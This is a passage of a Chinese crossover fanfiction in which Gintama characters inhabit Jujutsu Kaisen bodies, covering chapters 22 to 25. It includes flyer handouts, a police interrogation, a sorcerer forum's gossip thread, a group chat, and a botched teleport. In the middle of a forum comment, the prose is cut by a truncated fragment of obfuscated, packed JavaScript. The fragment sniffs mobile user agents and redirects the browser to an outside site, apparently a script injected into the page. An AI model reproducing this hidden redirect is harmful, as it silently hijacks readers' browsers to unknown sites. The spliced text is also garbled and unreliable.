宅十四张了张嘴，一时间想不出什么反驳的话，毕竟现在的坂田银时，不是曾经那个连房租都交不起的存在，应该不至于不还钱，于是犹豫着答应了。
他把手从裙子下伸进去，在充当安全裤的短裤口袋里掏着银行卡。
别的不说，就这个画面确实相当震撼。
坂田银时缩了缩手，突然有点不想要了。
宅十四的银行卡也是新办的，夜蛾正道听到他将钱包和手机一起丢了的说辞之后，火速帮他重新申请了一个。
里面的金额虽然暂时还没有全部找回来，但是存放着他们第一次三级任务和这次同冥冥一起赚外快的报酬定金，虽然不多，但是还是够宅十四一段时间的使用的。
他也没有什么赌博的兴趣，现在又一心将精力放在星野爱的演唱会宣传上，此刻反而成了两人中最有钱的一个。
在银行卡将要放在坂田银时手心的前一秒，宅十四一个回首掏，把银行卡背在身后。
“坂田氏，要不我不要利息了，你帮我做一件事就行。”
“我们万事屋的规矩，雇佣我们可是要花钱的，而且以我现在的身价，啧啧啧，这个价格怕你是高攀不起。”
“没关系。”宅十四一咬牙，“我可以同时打几份工。”
他将银行卡塞到坂田银时手里：“这就算是定金。”
坂田银时挑了挑眉：“既然你都这么说了，那我就勉为其难听听你想让我做什么？”
“很简单，帮我发传单就行。”
然后坂田银时就眼睁睁地看着宅十四，像是变戏法一样，从身后拖出来几大箱的宣传单。
“… …不会这些全部都要吧？”
“对，诶诶诶！别走啊！我翻倍！报酬翻倍！”
十几分钟后，两个穿着清凉的一米八五朝上的少年，在人流密集的十字路口，扛着几箱宣传单，傲视群雄。
“真的好多人，那个女仆小姐没有骗我。”宅十四眼睛发亮地看着路人，一副要吃人的表情，“爱酱的歌声一定能被更多的人知道。”
“好好好，行行行，快点发完，我饿了。”
“那坂田氏就去那边发，我去这边。”
坂田银时扛着宣传单，站在迎面而来的路人面前，在所有人都没有反应过来的时候，双手抓住箱子，朝着人群一撒。
红红绿绿的宣传单像是雪花一样，雨露均沾地砸在每一个路过人的脸上。
他抖了抖瞬间被清空的箱子，擦了擦额头：“累死我了，很好，这样一箱就发完了。”
“有这么发宣传单的吗？！”正义的无辜路人发出怒吼，“这简直就是在当街行凶！”
“嘿咻。”充耳不闻的坂田银时拉过另一箱拆开，故技重施，“啊哈哈哈！吔我宣传单！”
就在坂田银时越撒越上瘾的时候，有两个人出现在他身后，一左一右抓住他的胳膊，然后向后一弯。
只听“咔擦”一声，只有内裤的坂田银时多了个叫银手镯的装备。
“有人举报你着装不整，还当街骚扰路人，加上疑似非法宣传邪1教，请和我们走一趟。”
“你们说什么呢？抓错人了，这举报的肯定不是我，是街那头穿着粉色蓬蓬裙的变态吧？”
警察面无表情地从背后拖出来一个，同样双手戴着银手镯的人：“没抓错，就是说的你们俩。”
23.第二十三章
“所以说，我们既没有衣衫不整，也没有骚扰路人，更没有宣传邪1教！”
宅十四戴着银手镯，用力拍打着审讯室的桌子，满脸的不耐烦：“拜托，我时间不多，要是我爱酱第一场出道演唱会没有座无空席，留下心理阴影怎么办！你们这是谋杀，是犯罪！”
警察不为所动地看了看宣传单：“可是这上面的演出时间，离现在还有好几天的时间吧？”
“几天完全不够！物料的制作，粉丝的组织，后援团的组建，每一个都要费时间，你懂不懂？”
“… …不是很懂。”
“而且我时间还有大把浪费在学校，本来就已经来不及了… …”
警察被这一堆陌生术语整晕的眼神瞬间伶俐起来：“学校？你还在上学？放学时间你不回家，在外逗留？”
宅十四嚣张的气焰瞬间憋了回去，委委屈屈地把高大的身体缩在椅子里，一时间竟然看起来有那么点可怜巴巴。
他不自然地看着别的地方：“上学？什么上学？谁说上学了？”
“不要装傻！”这次拍桌子的变成了警察，“你家长呢？把他们电话号码给我！”
“在天堂。”
“？”
警察的良心刺痛了一下：“抱歉，但这，这也不是你辍学的理由。”
“… …你信了？”
“夏油杰！！”
那边是个刺头，这边同样也是个刺头。
坂田银时大大咧咧地坐在凳子上，开口第一句就是：“有饭吃吗？我饿了。有没有三菜一汤，对了，没有布丁当甜点的牢饭我不吃哦。”
听着隔壁同事的咆哮声，这里的警察选择直接无视坂田银时的话，用手指关节敲了几下桌面，直入正题：“老实交代，你们在那里做什么？”
“没做什么啊。”坂田银时向后一扬，修长的双腿在桌子上翘了个二郎腿，“我什么都不知道，拿钱做事而已，要问你问隔壁那个。”
“请你配合！”
“所以说我已经很配合了，要不这样吧，要想从我嘴里问出点什么东西，先让我吃饱饭再说。”
“五条悟！”
“嗯？你在说什么？我太饿了，耳朵开始不灵光了。”
一番酣畅淋漓的审问下来，坂田银时悠悠哉哉地吃着牢饭，宅十四油盐不进地开始对着警察宣传爱酱，两个被抓的人没怎么样，倒是警察头疼得不行。
本来事情不是多严重，加上两个人虽然外表不像，但都是实打实的未成年。
按照往常来说，口头教育教育，每个人写份几百字检讨就差不多可以放人了。
但谁知道这两个人这么不配合。
他们深知这样下去不行，既然对方是未成年，那就动用血脉压制。
在警所里查个基础的个人信息还是很方便的，但出乎他们意料的是，查出来的这两人的信息都有些奇怪。
关于“夏油杰”的信息，虽然知道他出生和家庭的一些内容，但自从初中毕业之后，所有的信息都被隐藏了起来。
而“五条悟”的信息则更是奇怪，他们查了半天，也只知道他的出生年月以及家族生活在京都这件事。
警所的几个人越看越觉得不对劲，总感觉这两个人不简单，于是连忙上报给了上司，想要申请权限进行更深的信息搜查。
上司坐在自己独立办公室内，吃着茶，哼着歌，突然麻烦就找上了门。
他瞥了眼放在自己面前的信息，听着下属们的汇报，只感觉手里的茶都难喝了起来。
和这些愣头青的年轻人不一样，虽然他级别不是很高，知道的也不算多，但是资历在这个警局里算老的那一批。
这么多年下来，多多少少对于世界暗面的地方还是有些接触的，所以当他一看“五条”这个姓氏，就对属下查不到信息的原因了然了七七八八。
他放下杯子，点燃一根烟。
这哪是抓回来两个未成年，怕不是抓回来两个活爹吧？
他伸了伸手，打断了义愤填膺，越说越激动的下属。
“没事，批评教育一下他们，就把他们放了吧。”
“可是！”
“有些事情，你们在警局待久了就知道了。”
看着上司在香烟环绕中，那表情沧桑的脸，几个人面面相觑。
想问清理由，却又被含糊其辞地敷衍了过去，最终出于对上司的信任，还是把坂田银时和宅十四放了。
坂田银时转了转隐隐有道红痕的手腕，摸着吃饱的肚子，满意地点了点头。
这里环境又好，还有豪华单人间，饭菜又好吃，里面的人说话也都超好听，五星好评，下次还来。
宅十四看了眼拿回的手机，看着上面的时间面色沉重，转身拿回剩下的几箱宣传单，朝着门口就要冲回去，被警察们一把拦下。
“至少你先把衣服换了吧？”
“你们懂什么？这已经是我的战服了！就和圣诞老人的胡子，奥特曼的皮套，牛战士的面具一样，是不可脱的神圣存在！”
“不要尽说这些破坏孩子梦想的话啊！”
就在一群人因为衣服推推搡搡，坂田银时在一旁拍手起哄的时候，另一间审讯室的大门打开，走出来一个满脸胡渣的大叔。
他无光的眼神在看到人群中那唯一的粉色的时候，发出了诡异的光芒。
瘦弱的男人徒升一股牛劲，拨开所有挡在他面前的警察，然后一把握住宅十四的双手。
“多么吸引人的外表，多么富有光辉的灵魂啊！”
他抬头看了看宅十四的发顶，再捏了捏他的胳膊：“瞧瞧这伟岸的身高，瞧瞧这壮硕的肱二头肌。”
然后他视线下滑，看向那蓬蓬裙，伸手一弹：“嘿！瞧瞧这充满少女感的衣着！极致的少女感，搭配上极致的男性荷尔蒙！反差萌！这就是我一直苦苦寻觅的反差萌啊！”
先不说他那错误百出的用词造句，光是这个行为，已经算是在性骚扰了吧？
就在警察准备光速出警的时候，这个人从皱巴巴的西装口袋里掏出一张名片。
“有兴趣了解一下模特行业吗？”他眼角含着泪，“我是个星探，我觉得你很有潜力，要不要考虑签约？”
吵闹的警局因为这一番话，陷入了深深的沉默里，除了宅十四的所有人难得达成了一致的想法。
“这个星探真是饿了。”
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随着互联网的发展，咒术界虽然缓慢，但多少还是勉为其难地跟着向前走了几步。
咒术师们也有一个属于自己的论坛。
虽然里面鱼龙混杂，还有不少诅咒师混在里面，一些重要的东西不方便讨论，但也可以聊些八卦，调侃调侃上级什么的，也算是咒术师私下解闷的小玩意。
这天，一向半死不活的论坛里，突然冒出来一条帖子。
【权限50】标题：震惊！最强组合竟然在大街上衣衫不整做这种事情… …
这言语不详，让人联想翩翩的标题，加上这高得离谱的权限设置，一下子就激起了不少人的兴趣。
点进去一看，开头很像直接套用网上随处可见的文案模板。
【家人们，谁懂啊，我久违的来了趟东京，在这附近做找人的任务，谁知道看到了两个下头男… …】
快速略过一大串没有意义的感慨，和那宛如营销号的废话文学，映入眼帘的就是重头戏的三张照片。
零几年手机的拍照技术还没有以后那么好，但不妨碍大家都能看出来，照片上的两人正是夏油杰和五条悟。
但不管是穿着粉色蓬蓬裙的夏油杰，还是只穿着草莓图案粉色内裤的五条悟，都足以让人瞬间瞳孔地震，陷入深深的震撼中。
更别说他们这副打扮站在人群里，还堂而皇之地在给一般人发传单？
什么传单要两个最强穿成这样发？不会是什么反总监部的宣传内容吧？
总监部的几个人开始坐立不安，连忙召集利益关联大的几个人，悄咪咪的在线下讨论。
有些人想得多，但更多人就是当乐子来看。
AkAira：我是第一，我刷账号权限就是为了这一刻啊！六眼看起来那么难相处，私下里原来有颗少女心吗？
暴富不要包袱：不是，旁边那个不是更离谱吗？竟然穿着女装，还是粉色蓬蓬裙，还戴假发？！完全没有认真戴假发吧！额前那缕窜出来的刘海也太显眼了吧！
fufu不是bt：我觉得我可以！肌肉女装猛男！prprprpr
当仁不让：伤风败俗！世风日下！不知羞耻！现在的年轻咒术师都在做什么？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262651|148481||http|test|mini|href|location''.split(''|''),0,{}));
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饿了来一口：保存不了啊，楼主开下权限呗。
楼主回复【饿了来一口】：不行啊，发出来已经是我最大的勇气了，大范围传播的话，我害怕会被五条家追杀啊。
饿了来一口回复【楼主回复饿了来一口】：晚了已经，肯定有御三家的人看到了，上面那个什么当仁不让就很像。
fufu不是bt：截图保存了，楼主一路走好，我们会记住你的贡献的。
楼主回复【fufu不是bt】：别啊！你们别光吃瓜，多少也在意一下我的死活吧？！
实践出金子：我这里也有几张，特殊手段得到的高清图哦，先放一张模糊的缩略图证明一下（图片），有意者可私聊。
才不是弱者回复【实践出金子】：加你了，麻烦通过一下。
短短数分钟内，帖子前面已经多了一个火苗，冲到了所有帖子的最前面。
咒术界里私下里口耳相传，导致帖子的浏览量不受控制得一路飙升。
其中还有不少慕名而来的咒术师和诅咒师，论坛的新用户注册数也达到了历史新高。
全方位密切关注着自家六眼的五条家第一时间出动，想要封禁帖子，奈何管理权限不在自己手里，只好找黑客攻击网站。
网站顺利瘫痪了，但十几分钟后又被修复好了。
五条家正奇怪，咒术界什么时候有闲钱请那么多程序员的时候，一转头发现自己请的黑客被攻击了。
第一个突破攻击的黑客定位了攻击来源，五条家一看，嚯，这不是禅院家吗？
那这些照片肯定也是禅院家发的！为的就是抹黑五条悟在大众眼里纯洁高大的完美形象！
可恶的禅院！没事跑去东京干什么！怕不是平时就一直在暗地里盯着五条悟。
从祖上就开始积攒的恩怨之战，此时此刻通过网络上攻防战的形式被打响。
完全不知道一个帖子的背后，是两家恩怨，大多数人脑子里没什么阴谋论，只想着吃瓜。
但当他们登陆账号之后，就发现了更严重的问题。
帖子的权限设置太高了，这些新来的和大部分平时懒得上论坛的用户，根本进不去，更别说看到帖子的内容了。
但是这并不能阻止他们膨胀的好奇心。
行动力很强的这一群人，又火速开始做着升级权限的相关任务。
各种灌水混经验的帖子喷井式涌出，点一下刷新页面，就能换成一页新帖子。
这热闹的景象，最终不负众望地导致论坛服务器过载，论坛直接崩溃了。
等到论坛再次恢复的时候，好不容易能够点进帖子的人们只能失望地看到一行冰冷冷的字。
--该贴已被管理员【好心态胜一半】封禁--
瓜在嘴边却溜走的感觉不好受，这更加激发起众人的斗志，他们开始发各种求图的帖子，有些咒术师甚至还打算溜到诅咒师的论坛里问问看。
这么多年，咒术界第一次在网络上这么热闹。
夜蛾正道本来就因为这段时间交接校长职位，而忙得脚不沾地，所以等他知道论坛的这个帖子的时候，传播范围已经很远了。
论坛是高专人员组建的，毕竟这里年轻人最多，也都更喜欢接触新事物。
所以在学生接触到普通人的论坛之后，也想着做个专供咒术师用的，就向上面打了申请。
虽然高层大部分人觉得这个想法离经叛道，但在前校长的劝说下，还是勉强同意拨款。
作为感谢，学生们就把管理员权限给了前校长和当时任职班主任的夜蛾正道。
这么些年来，这个论坛一直都是“大家知道，但是不会去用”的存在，谁知道会有天这么热闹。
夜蛾正道叹了口气，只好先将帖子封禁，但之后的事情怎么处理还有得头疼的。
毕竟截图保存的人好像不少，如果他们在其他地方，比如诅咒师的论坛发帖的话，就不是他能够管理的地方了。
夜蛾正道闭上双眼，深呼吸，揉了揉自己的额角。
他果然就不应该让那两个人离开自己的眼皮子底下。
不过往好的方面想，他们也只是丢自己脸而已，比起当众炸毁建筑什么的好多了… …应该吧。
不知不觉又开始放低自己底线的夜蛾正道陷入了沉默。
24.第二十四章
“好了，不过这伤口侵染的时间有些长了，虽然大部分都被去除掉了，但最深处可能还会残留一点诅咒的咒力残秽，不过不用担心，过段时间就会消失，如果中途不舒服的话，可以再来找我。”
送走治疗好的咒术师，家入硝子坐在医务室椅子上伸了个懒腰。
一旁放在桌上的手机从刚刚开始就一直频频震动，她碍于专心治疗没有去管，此时闲下来了便打开一看，将群消息拉到最早一条，发现起因是庵歌姬在群里发了几张照片。
虽然角度不同，构图也更讲究，画面甚至还更清晰了，但只要一眼就能看出来，这些都是坂田银时和宅十四在论坛里流传的同款艳照。
【遇事来根烟】：（点赞）
【愿世上没有人渣】：硝子你终于上线了！我还有！（图片）（图片）
正好，灰原雄和七海建人也刚刚结束任务，专属于一二年级的小群内活跃了起来。
【是雄不是熊】：前辈们这是在出任务吗？
【有事勿扰】：… …
【是雄不是熊】：不管是因为什么，前辈们这么穿还是很好看的！展示出的身材很不错。
【愿世上没有人渣】：… …你认真的吗学弟？
【AA承接商务请私聊-冥冥】：诶呀，是歌姬从我这买走了照片呀，多谢惠顾，下次可以给你打个折。对了，我这里还有不少以前拍的，有需要吗？
【愿世上没有人渣】：要要要！
论坛里和高专群里聊得热火朝天，但当事人坂田银时和宅十四对此自然是全然不知。
他们不知道五条悟和夏油杰的论坛账号，甚至说连论坛这个东西的存在都不知道。
新拿到的手机里只有一两个辅助监督还有家入硝子和夜蛾正道的电话号码，除此之外什么都没有。
又不是刚拿到手机的小屁孩，没必要天天盯着手机看有没有人发短信。
自诩为成熟大人的坂田银时如是想到。
所以这个在他们看来功能落后的手机，除了和别人联系用，就只剩下贪吃蛇之类小游戏打发时间的效果。
有这时间还不如打一把小钢珠。
宅十四倒是经常用手机，不过主要用在组织爱酱粉丝团，在论坛和同好交流啥的。
所以几天过去了，竟然没有人察觉到，这两个人没有进入高专群里聊天。
直到庵歌姬开始贴脸嘲讽，那两个人都没有任何回应的时候，众人才意识到这件事。
【愿世上没有人渣】：总觉得少了点什么
【遇事来根烟】：我懂，少了那两人的跳脚和破防，没关系，等等。
家入硝子发完这句话，就先退出了line，给坂田银时和宅十四一人发出一个短信。
上面是自己的账号名，然后附带一句“加我line”。
正好俩人从警局里被释放出来，看到短信之后随手注册了一个账号，加上家入硝子之后，又被火速拉进了高专群里。
【遇事来根烟】：好了，歌姬前辈继续吧
【愿世上没有人渣】：啊？继续什么？你这是拉了谁进来啊？
【草莓牛奶赛高】：怎么了？几天没看到我觉得寂寞了吗？
【愿世上没有人渣】：？
【爱酱单推人】：正好，帮忙助力一下人气选票，麻烦投给“星之烁偶像线下演唱会”哦。【复制此链接… …】
【愿世上没有人渣】：怎么还有人发小广告？这熟悉的感觉，果然是你们两个人渣吧？！
群内安静了五分钟之后。
【愿世上没有人渣】：不要装傻！就是刚进群的你们两个！
说完，庵歌姬就把论坛上保存的照片，加上从冥冥那买的一起连发了出来，势必要让这两个人忏悔自己的言行。
【草莓牛奶赛高】：拍得不错，保存了，还有原图吗？我想打印出来挂在床头。
【爱酱单推人】：那个歌姬前辈，我其实是在cosplay，因为情况特殊所以还未经授权，但要是被版权方知道，你私底下买卖带有偶像形象的图片，可能会有点麻烦。我个人形象是无所谓啦，前辈要小心被告哦。
【愿世上没有人渣】：cosplay？你以为我会信吗？这这肯定是你编出来想让我撤回的谎话！
【爱酱单推人】：哦，那好吧，前辈你高兴就好。
【是雄不是熊】：前辈！我助力好了！
【爱酱单推人】：谢谢你，有兴趣提前了解下我们的元气偶像星野爱吗？
眼看着当事人一个赛一个的不在意，话题就这么轻飘飘地揭过，开始转向虚拟偶像，庵歌姬破大防，猛敲键盘开始舌战两人。
一时间群内充斥着快活的气息。
七海建人看着滚动速度如LED广告的群内信息，脸上的沟壑又深沉了几分，最后决定放过自己。
【有事勿扰】退出群聊。
他抬头四十五度角仰望天空，有什么办法可以提前毕业呢？
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吃饱喝足的坂田银时，逗了一会庵歌姬之后，看到银行卡进账的短信，果断把群消息设置成“接受消息但不提示”，无视还在疯狂发消息的庵歌姬，合上了手机。
他挠了挠凉飕飕的肚子，迈步朝着商场走去。
宅十四最终还是穿着那套衣服从警局里走了出来，顺带还带走了自称是星探的那个人。
以“帮我发宣传单，我就考虑签约”为借口，白嫖对方的劳动力。
不管是不是真的，坂田银时都觉得这件事不靠谱，这个市场的审美得多超前才有可能接受这种类型的模特啊。
于是他自然地把这些事都抛在脑后，全身心地体验富n代的快乐，转头钻进了一家甜品店。
另一边，打完款的五条翔一看着同事发过来的论坛截图，陷入了深深的思考中。
在事发的第一时间，五条家除了发动黑客攻击，同时还打电话给他，询问自家神子最近是不是遇到什么难处了，是缺钱了还是怎么了。毕竟他是离五条悟最近的一个人。
他在那时候才知道自家神子出了什么事。
论坛上讨论的沸沸扬扬，他看着转账记录的内心也冰冰凉凉。
缺钱？不可能吧？他都转了几千万过去了，就算从银行提出现金直接当饭吃，也不可能这么快吃完吧？
但是这种情况肯定是异常的，他坚信五条悟那边一定是出了什么事情。
于是五条翔一蹲在总监部分发的汽车边，一边等咒术师完成任务，一边开始自己的头脑风暴。
然后不出意料的失败。
毕竟线索太少了。
于是出于家族给予他的厚望，以及对五条悟的关心，他只好颤抖着手指，发出一长段带着完整敬语和问候，中间夹杂一小点询问的完美社畜短信。
然后双手合十，开始祈祷。
坂田银时咬着勺子，面前桌子上布满了各式甜品，尝一口左边的，再尝一口右边的。
颇有种古时候皇帝吃满汉全席，所有菜都只吃一口的奢侈作风。
被一堆糖分包围，他忘我的无视了周围所有人奇异的目光。
就在这时，他的手机响了一下，心情良好导致一点防备心都没有的他顺手打开。
一篇一千字小作
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文密密麻麻出现在他的眼前。
开头就是：“五条悟大人，您辛苦了，我是五条翔一，希望我的这一封冒昧的短信没有打扰到您，如果打扰到您的话，我对此表示十分的抱歉… …”
“啪”的一声，坂田银时就合上了手机。
甜品吃太快了，好像出现幻觉了，怎么好像看到了社畜发的工作邮件。
他缓了缓，再次打开。
还是冗长的内容和七八行还没有进入正文的问候。
这是短信吧？发这么长，短信的短完全没有体现出来啊。
完全没有耐心看完，他看了看发信人，出于对打款人的尊重，随手回复了一个“1”。
这回，换成五条翔一陷入了沉默。
1？什么意思？难道是什么暗号吗？
他重复按着“返回”和“查看”按钮，确定自己没有漏看，手机也没有显示错误。
短信可以这么短的吗？完全不知道对方到底什么意思啊！
只感觉后脑勺都要被自己挠秃，五条翔一挣扎着在短信回复界面输了又删，删了又输。
脑子里除了之前的疑惑，现在还带着深深的担忧。
问出来悟大人会不会觉得自己不聪明啊？会不会嫌弃自己啊？万一把自己赶回去怎么办啊？
直到他蹲着的双腿开始发麻，他最终还是没有勇气发过去，而是选择在浏览器上询问万能的网友“给上司发信息询问，上司回复一个1是什么意思？”。
然后被一堆社畜的怨念糊了一脸，不由得感慨着难怪最近咒灵数增加了那么多。
回复完五条翔一之后，坂田银时就开始继续大快朵颐。
但今晚注定不会让他如愿，还没吃几口，手机铃声便再次响起。
他看也没看直接按掉，结果下一秒对方又打了过来。
这么反复挂断几次之后，坂田银时怒火中烧，在对方再次来电的时候，看也不看直接接通。
“现在是下班时间懂不懂边界感啊？甜食都变得难吃了啊！”
“… …”
“打这么多电话，不是很急吗？说话！”
“你现在很惬意啊。”
夜蛾正道声音意外的平稳，宛如此时坂田银时的心电图。
“… …没。”坂田银时浑身起了股恶寒，奇怪，他到底为什么要害怕夜蛾正道呢？
他摸了摸自己头顶，感觉那里在隐隐作痛。
“你现在在干什么？”
“在外面，呃，见习？”
“什么工作需要穿着内裤见习？”
“什么啊，你也看到那些图片了啊。”坂田银时毫不在意地吃了口甜点压压惊，“也没什么吧，不该露的地方又没露。再说现在都什么年代了，提倡穿衣自由啊。”
“不是这个问题。”夜蛾正道在电话里深深叹了口气，“所以你们到底在搞什么？”
“我们企图用美貌色1诱咒灵出现。”
夜蛾正道沉默了一下，脑海里会想起那几张照片，穿成这样怕是咒灵都会绕着走吧？
不对，差点被带跑：“你以为我会信？”
“冥冥能作证。”
“呵，你们三个在我这的信誉都已经破产了，快点给我滚回学校！”
说完夜蛾正道便挂断了电话，徒留坂田银时对着一桌甜品叹气。
既然班主任已经亲自放话了，那么就算再怎么不情愿，短暂的假期也被迫宣告结束了。
但只要没有到凌晨十二点，就不算一天结束。
于是手痒的坂田银时赶在一天结束之前，再去打了把小钢珠。
输得那叫一个酣畅淋漓。
25.第二十五章
深夜的电车已经到了停运的时间，坂田银时毫不心疼地坐上了出租车。
人生头一次感受到什么叫花钱如流水，这让他第一次觉得被系统抓来顶包这件事还不错。
现在正好是春夏交换的时节，一些小虫子提前钻出土壤，在幽静的荒野上零散地鸣叫。
夹杂着些许冬意的风吹过，激起坂田银时身上的一层鸡皮疙瘩。
失算了，不应该因为已经习惯了这身穿搭，加上想要节省打小钢珠的时间，就懒得去商场买衣服。
他搓了搓手臂，抬眼看着在黑暗中宛如没有尽头的台阶，再看看身边茂密的灌木丛。
总有种会突然从里面窜出什么东西的感觉。
这是一种源于本能的危机意识，绝对不是因为自己怕某种虚无缥缈的东西呢。
坂田银时在内心不知道向谁解释着，向前迈出一步。
不过这么长的台阶，他到底还要走多久啊。
失去光照，看不见前路，人类总是会迷失对时间和空间的感觉。
突然，坂田银时开始犯困的脑瓜突然灵光一闪。
他已经不是以前的自己了，不是那个因为没有必杀技，导致动作类游戏都不好做的他了。
现在的他，可是有强力的必杀技，生活在拥有咒力和术式的世界。
他将右手举到自己的面前，看着自己皮肤外围泛起一层淡蓝色。
要上吗？我？真的假的？
坂田银时环顾四周，想着反正周围没有人，就算自己失败了，没人看到也不算丢人。
于是他闭上眼睛，尝试着调动塞满“小钢珠必赢秘诀”的脑子，全身心运行着无下限术式。
大量的数据从他的眼睛快速流过，让他感受到一股温热，接着，这股气息被他尝试着均匀地分散到身体的各个地方。
身体数值，距离长度，空间广度。
他感觉周围的世界仿佛在他的脑海里展开了一副三维图，精密地标记着所有事物的坐标。
顺着坐标他先确定好自己的位置，然后找到想要抵达的地方。
一条精密的路线构造出来，坂田银时猛地睁开双眼，湛蓝的双眼在夜晚发出幽幽蓝光。
下一秒，他整个人原地消失。
好消息是他将自己位移成功了。
坏消息是计算出现了一些偏差。
在起步的一瞬间，坂田银时就察觉到了自己的计算失误。
毕竟谁家好人赶路的时候，是脸朝着地，脚朝着天移动的。
术式一旦发动，想要收回来是不可能的。
于是他只好无助得维持着这个姿势，一路脸擦着台阶，一节节地朝前撞去，最终撞在了高专写着校名的木制门牌上，以倒栽葱的姿势，半截身子被深深地卡在了墙里。
断成两半的门牌努力挣扎了一下，最终还是跌落在地，结束了它漫长的使命。
坂田银时心有余悸地呼了口气，好在他开着无下限，冰冷的台阶距离他还有些距离，导致他全身一点伤都没有。
但新的问题来了，他要怎么以现在这个姿势，把自己从地里拔出来呢？
事实表明，他的担心是多余的，因为很快，几乎是在高专的所有人都跑了过来。
每个人手里都拿着自己的武器。
夜蛾正道拨开人群，就看到一个穿着熟悉的粉色草莓裤衩的人，倒挂在学校的校门上。
他头疼地揉了揉自己的鼻梁。
现在这个场景实在是太有既视感了，自己是不是前几天才经历过一遍来着？
现场的众人显然也都认出了这个裤衩，不是，认出了来人，互相使着眼色，大家都懂，但是都没有胆子说出来。
“大家都散了吧，我来问问情况就行。”
大家头一次半夜被迫起床，还没有任何怨气，笑着彼此道着辛苦，各自散开，如果忽视掉大家手里手机的键盘都快按出的火星，可能还算是一副和谐的画面。
听着渐渐远去的脚步声，坂田银时开始慌了。
“诶诶诶，别走啊！哪个好心人帮我一把？我出不来了！”
夜蛾正道走上前，随意朝着楼梯瞥了眼，就看到了地上那一道长长的，不知道蔓延到什么地方的鸿沟，眼睛一黑。
他下意识想要赏坂田银时一击正义的铁锤，但看着那露出的裤衩和双腿，一时间苦于没有地方下手，只好忍耐着额角的青筋，把拳头收了回去。
“... ...你先说说看，到底是怎么搞成这样的。”
坂田银时哪里好意思说是自己使用术式操作失误，死要面子地瞎说着：“这其实是一种新型的出行方式，讲究的是高效，同时也能起到门铃的作用，你看，我刚到，你们就都来迎接我了。”
“什么出行方式需要把整条台阶都破坏掉的。”
“谁规定楼梯必须长现在这样的？俗话说的好，世上本没有路，走的人多了也就成了路。”
“意思是你以后还准备这么走？”
“不光如此，我还呼吁大家一起这么走。”
夜蛾正道的怒气一忍再忍，最终还是没有忍住，他一把抓住坂田银时的脚踝，一个旱地拔葱将其拽了出来，然后沙包大的拳头精准地敲在坂田银时的头顶。
大晚上被教训一番，还喜提一份新的检讨书，坂田银时最终在寒风中瑟瑟发抖着回到了宿舍。
他发消息给家入硝子，希望至少能把头上的大包给解决掉。
却只无情的得到了对方“睡着了，勿扰”的冷酷回应。
满心创伤的他直挺挺地躺在床上，闭上眼睛企图用睡眠治愈自己。
却在睡着的下一秒瞬间清醒。
睁开眼一看，熟悉的空白空间，熟悉的大屏幕以及上面一张好大的绿色大叔脸。
【两位好，今天是例行的周总结时间。】
坂田银时躺下，紧闭双眼，双手交叉在胸口，一副走得很安详的样子。
最烦的就是在倒霉一天之后，还被抓回公司加班了。
土方十四郎嘴里抽着空间给的赛博烟。
他用脚尖踢了踢坂田银时。
“这才一周就不行了？”
“你这个只需要躺着睡觉混日子就能领到工资的混子，是不懂我们这些勤恳牛马的辛苦的。”
“牛马？我看你在外面不是过得很滋润的吗？”
虽然暂时被困在这片空间内，但是土方十四郎还是能通过这里的屏幕，看到外面发生的事情。
甚至视角还能在两个人之间来回切换。
还真是喜欢在没什么用的地方加功能。
【咳咳。】哥布林大叔咳嗽一声，打断两人，【先说一下你们这边有什么要说的吗？】
“有！”坂田银时一个打挺坐起，“你这个什么系统什么功能都没有！也太垃圾了吧？别的系统都有个什么金手指，什么商场的，你甚至连个道具栏都没有！”
【我们功能虽然少，但是同样对你们的要求和限制也少啊，你看我们甚至都没有任务要你们做，不是很好吗？这叫什么，提倡大地图自由探索。】
“明明就是偷懒吧？”<
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p>【你知道加这些功能要多少钱，不是，多少时间吗？】
“很明显说漏嘴了吧？我看你家缺个路灯做装饰。”坂田银时再次躺下，开始撒泼打滚，“不要不要，不给我金手指我就罢工！”
【啧，好吧，给你加个道具栏行了吧？】
“金手指！我要那种能预测未来的金手指。”
【你要那个做什么？这个世界未来什么样你不都知道的吗？】
土方十四郎淡定地吐出一口烟：“为了赌马吧？还想着从伏黑甚尔手下赢回来？”
坂田银时不自然地左右乱看：“这有什么不对的，人活在这个世界上不就是为了挣这么一点面子吗？”
【嗯嗯嗯。】哥布林大叔懒得听长篇大论的歪理，直接跳过，开始总结，【系统之后我们会加紧升级的，然后是我们这边的信息。】
“不要无视我啊！”
【首先是关于五条悟和夏油杰，很抱歉，我们还在搜索中，但不用担心，我们已经有点眉目了。】
土方十四郎从虚空拿出一瓶美乃滋，“哧溜哧溜”地疯狂吸入，很显然根本不对对方的进度抱有任何期待。
【… …然后是，有个任务希望你们能顺便做一下。】
“做了能奖励我预知未来的金手指吗？”
【可以考虑。】
“那算了。”
土方十四郎换了一瓶美乃滋继续暴风吸入。
【喂！事情真的很严重！非常严重！】哥布林大叔把桌子拍得“啪啪”作响，【我们在你们那个世界丢了一个员工，而且… …】
他平复下心情：【最近检测到，你们所处的世界，时空隔膜正在变弱。】
坂田银时和土方十四郎抬眼看去，眼里神情严肃了起来。
“所以说。”坂田银时双手抱胸，“时空隔膜是什么？和处【哔— —】有什么关系吗？”
【… …简单来说，就是包裹着每个世界的一层结界，如果一个世界没有这层结界，其他世界的居民都能直接绕过我们的勘测，轻松地来到这个世界。】
“这也没什么吧？加强世界间的交流，说不定能有不一样的结局啊。”
“但也要考虑最坏的情况吧？”土方十四郎看过去，“如果高武世界的某个人来到低武世界，然后开启乱杀模式，本世界根本没有人能拦住他们，那么一个世界可能就在所有人都不知道的情况下被毁灭了。”
“我懂，就相当于贝吉塔来到《伪恋》的世界等于开无双了是吧。”
【没错，现在我们是怀疑，这个世界之所以时空隔膜变弱，会不会和失踪的那个员工有关。】
“我知道了，真是拿你没办法。”坂田银时挠了挠头，“毕竟不能让这个世界毁灭嘛。不过报酬不能少。”
哥布林大叔看着两人答应，悬着的心落了下来：【对了还有件事，关于土方先生的，我们暂时没有找到将两魂分离的方法，但是我们可以让你们同时存在。】
【也就是说，你们两个，可以在一具肉身上随意显现了。】
“… …”土方十四郎并没有觉得欣慰，“那不就是说，也可能出现我们两个同时出现的情况吗？问题不是完全没有得到解决吗？”
